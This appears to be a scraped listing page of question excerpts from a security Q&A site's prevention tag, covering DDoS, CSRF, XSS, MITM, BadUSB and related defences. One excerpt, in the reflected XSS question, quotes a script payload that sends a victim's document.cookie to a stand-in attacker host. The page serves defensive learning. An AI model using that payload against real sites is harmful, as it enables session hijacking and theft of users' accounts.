prevention of an attack vector (e.g. XSS, HPP, CSRF)

learn more… | top users | synonyms

31
votes
9answers
7k views

Is it bad to have cameras using a static IP address?

I am about to move in a new house, and I would like to install some security cameras. The contractor told me that in order for me to check the videos recorded by the cameras in real time when I am ...
12
votes
8answers
6k views

Can malware be attached to an image?

I have a small number of employees who use a company computer but these people aren't very tech savvy. They use an email client and a messaging client. I'm pretty sure they wouldn't click on .exe or ...
0
votes
0answers
169 views

Is there any method to prevent/trace ddos attack?

I have a debian linux server which run a few online game services. I have some competitors in this area and i think one of them is behind the ddos attacks. I have full access to the router, so I set ...
48
votes
6answers
18k views

What techniques do advanced firewalls use to protect againt DoS/DDoS?

It is hard to protect a server against Denial of Service attacks, DoS/DDoS. The two simple ways I can think of is to use a server with much resources (e.g. CPU and memory), and to build the server ...
0
votes
1answer
63 views

MITRE's UEFI 'Extreme Privilege Escalation' and HP's SureStart [closed]

This is MITRE's powerpoint presentation version of their report: http://www.mitre.org/sites/default/files/publications/14-2221-extreme-escalation-presentation.pdf Page 54 is a straight pull from HP ...
74
votes
2answers
19k views

What are rainbow tables and how are they used?

Where can I find one? Is there a pot of gold at the end? How do I protect against them? From the Area51 proposal This question was IT Security Question of the Week. Read the Sep 09, 2011 blog ...
-1
votes
1answer
60 views

Mitigate DDos on Windows box

I would love to know, If you know some way to mitigate DDos/Dos attacks on Windows. In Linux we can Mitigate using the IPTables Almighty, but I wonder If there is something like that in Windows. ...
2
votes
2answers
115 views

How is this MITM attack being performed and what steps can I take against it?

Today, when I tried to access the internet (google on HTTPS), my browser (Google Chrome) gave me the following error: I am on my own home Wi-Fi, which has WEP. When I tried to reload google on ...
0
votes
3answers
114 views

Can the packets of a wireless network be sniffed by a user who is not present in that network?

1.If an user knows the frequency used by a wireless network, is he able to collect the packets from that network? Those packets may be encrypted, but can he collect those packets? 2.If the user has ...
0
votes
1answer
35 views

Does a constantly dynamic cluster of short-lived instances reduce attack surface?

The 4am Idea The general idea is that every instance that gets launched on my cluster is preloaded with a 'suicide script' that after a preset Time To Live (say, 27 minutes) launches a replacement ...
0
votes
1answer
40 views

Is it possible to hide behind a hostname to purposefully effect SEO?

Reference forum questions and a couple answers posted on 10 December 2014 What are these unknown visits to my private, unlisted webpage? One of the answers contained this phrase: "Given the fact ...
22
votes
5answers
15k views

What is the correct way to implement anti-CSRF form tokens?

I am fully aware of CSRF and have already implemented some safe forms, but I have never been happy with the results yet. I've created tokens as a md5 of username, form info and a salt and stored it ...
1
vote
1answer
901 views

Hackers attack against wp-config.php

my wordpress site suddenly be hacked via wp-config.php. I have never known this type of attack. When i scan my site, wpscan warn against this errors: How can i protect my site from this attack? ...
3
votes
1answer
112 views

PHP max_input_vars security expectations

Considering a site that handles large POST data, would it be unreasonable and dangerous to set the php.ini max_input_vars to something like 100000? I know this is a vector for DOS attacks, but don't ...
1
vote
0answers
136 views

Additional options to protect from bad USB devices in ubuntu

In addiition to the solution options in the other threads How to prevent BadUSB attacks on linux desktop Protecting against bad USB in ubuntu i wanted to ask if it is possible in ubuntu somehow to ...
3
votes
1answer
3k views

Detect a server supporting SPDY?

With my current interest in the CRIME attack, I am currently trying to check if there actually exits a way to "fingerprint" a server that supports SPDY? My research lead me to believe only that the ...
0
votes
1answer
142 views

How to prevent outgoing UDP attacks?

My server has been the target from hackers 3 times in the last month, and the attack seem to follow the same pattern. The attack another site from my server using UDP connection. The report from my ...
0
votes
1answer
108 views

csh http shellshock on a windows 2008 server

My company's McAfee system detected many "http CSH bash ShellShock code injection attacks" attempts on a Windows 2008 server running Apache Tomcat Coyote. Does this config present a potential attack ...
1
vote
3answers
709 views

Are Facebook, Yahoo, Google, etc. hackable?

What I would consider to be hacking one of these services is something along the lines of cracking databases (or I think what would be databases). In reality, I have no idea how sites like these store ...
8
votes
5answers
12k views

How to trace a DDOS attack on a dedicated server and block it?

I have a dedicated server and I'm hosting a game, and the web page (using Apache) for account registering. The server is being ddosed since 8 months ago till today. I've tried to talk with the server ...
0
votes
2answers
202 views

Are buffer overflows on websites stoppable?

Recently, I was at the bookstore checking out books on computers. I found an interesting book on various types of hacks and how to stop them on your servers. One that caught my eye was the "buffer ...
0
votes
1answer
75 views

Integrity-Based Execution

Intrusion Detection Systems (IDS) rely on binary signatures or known-bad-behavior of malware in order to detect threats. It has become very clear that this approach has limited success due to the fact ...
3
votes
1answer
562 views

How does the Fake Authentication Attack from aircrack-ng work?

I'm making a school project about the AP attacks and I'd like to know how does the Fake Authentication Attack from aircrack-ng actually work and how to prevent it? I read a lot of articles but ...
7
votes
1answer
1k views

How do I stop attack on my email id from hackers?

We have an email id, info@<ourdomain>.com This email id is being hacked frequently and mails are sent from this email id, Following is the example of one such email. From: ...
3
votes
2answers
298 views

Preventing Illegal Access to Webservice

Let me start off by saying that I read other StackExchange questions related to this and they weren't really able to answer my question. I have a feeling this may be an unsolvable problem, but I'm ...
0
votes
1answer
160 views

How to Prevent CSRF in Ruby on Rails [closed]

How can I prevent CSRF in Ruby on Rails programming ? Is it possible to avoid overload on the application loading on net ?
10
votes
4answers
2k views

Possible to prevent Juice Jacking by only connecting USB pins 1 & 4?

According to this accepted answer, there is no phone on the market today that is immune from "Juice Jacking"*. I think an easy way to mitigate this threat is to have a filter that blocks USB pins 2 ...
1
vote
1answer
98 views

Force DNS to attach bad IP address

The question is not professional, but what I'm trying to say is... Is there any way to inject or force the DNS server to attach/change an IP address for some site. For example, I'm running an apache ...
1
vote
0answers
117 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
5
votes
3answers
273 views

Can anyone be hacked?

I have often heard that if you are the target of a directed hacking campaign by say, a team of government hackers (whether Chinese, NSA, etc.), there is no way to prevent being hacked if they highly ...
0
votes
3answers
136 views

CSRF Token Strategy

I'm trying to learn more about website security, but it's confusing. I often feel like I need to be an attacker in order to understand how to defend against one, since I don't know what they are ...
3
votes
1answer
181 views

SSD Self Encrypting Drives - Setup / warm boot bypass

I've seen folks deploying the SED on laptops recently. I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again. Which makes ...
2
votes
2answers
6k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
5
votes
1answer
2k views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
1
vote
0answers
103 views

Breaking it gently

Let's say I've found a fundamental error with mathematics of a security package. For example, let's say I've found something similar to the Pollard’s \rho-1 algorithm that renders some of the RSA keys ...
1
vote
0answers
53 views

Google Eclipse plugin manual telling to skip security warning. What are the risks?

I'm trying to install GWT plugin for Eclipse. The Google manual says among other things Eclipse indeed shows that message during installation. The questions are: What exactly does that message ...
10
votes
1answer
310 views

Should Content in <noscript> Blocks Be Escaped

The title pretty much says it all. It seems counter-intuitive to escape inside a <noscript> block because any js that an attacker is able to inject there shouldn't be executed. But, I'm still ...
4
votes
2answers
3k views

How does stored procedure prevents SQL injection?

May be I am not much clear about the stored procedure. Can someone explain me how stored procedure prevents SQL injection with a simple example using MySql.
1
vote
2answers
218 views

Xubuntu guest session security

lately I've been using the guest session on my xubuntu install because I am lazy and I was wondering what the security implications can be on the rest of the system if there is a web browser exploit ...
1
vote
0answers
100 views

Secure self-concealing symmetric encryption (non-verifiable decryption)?

From what I observed using standard encryption tools such as OpenSSH and GPG, the decryption only succeeds when the correct password/key is provided (or at most a few others, in case of collision). ...
2
votes
3answers
181 views

Are externally referenced libraries (CDN's) a security issue?

Today I read about an alleged malware attack targeting jQuery.com A german blogger who is what I would call an expert on IT security stated that Any website that is working with ...
1
vote
2answers
84 views

Firewall Security vs Anti-Virus

Overview of my question I want to create a secure Window's system without the use of an Anti-Virus program. Whilst I know there are many on-demand and live-scanning anti-virus programs readily ...
0
votes
1answer
364 views

jquery $.post CSRF protection

How can I protect the following code from CSRF? $.post("lib/newEmployee.php",{employee_id: employee_id, employee_name: employee_name}, function (output){ //code }); ...
3
votes
2answers
359 views

How to keep someone from analyzing our site?

For the past days some script kiddie has been scanning our site with w3af and some basic manual checks. Although I know the site is "secure" because I analyze it almost everyday, I'm not perfect and ...
5
votes
3answers
696 views

is it safe to allow external images to be attached to Blog or any Web content?

I am filtering all images that attached to any content of my blog: Check for file extension. Check content type using $finfo = finfo_open(FILEINFO_MIME_TYPE); I also save the image temporary on my ...
1
vote
0answers
51 views

Does Ally Bank's trusted image system actually make login safer? [duplicate]

Ally Bank uses a 'trusted image' system to supposedly make login more secure. I can't find evidence that this is standard practice, so I'll explain it. When creating an account, you choose an image ...
0
votes
1answer
179 views

How to minimize vulnerability to UI state interference attacks

Yesterday, Ars Technica posted an article explaining that Android was found to be vulnerable to a UI interference attack. This claim originates from a paper published by Alfred Chen et al. of the ...
1
vote
2answers
75 views

secure flash update

The default method for updating flash is through Adobe's unsecured http portal, which seems to be a serious security concern, given the access that flash has on a user's machine. Can anyone recommend ...
7
votes
2answers
981 views

Does CSRF prevention also prevent reflected XSS attack?

What I understand about reflected XSS is ... When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client... [1] ...
5
votes
2answers
782 views

Escaping rich text editor output

When having a rich text editor on a web application, what is the best way to escape HTML entities and prevent XSS attacks but keep the formatting (<b>, <i>, <u>, ...etc.) ?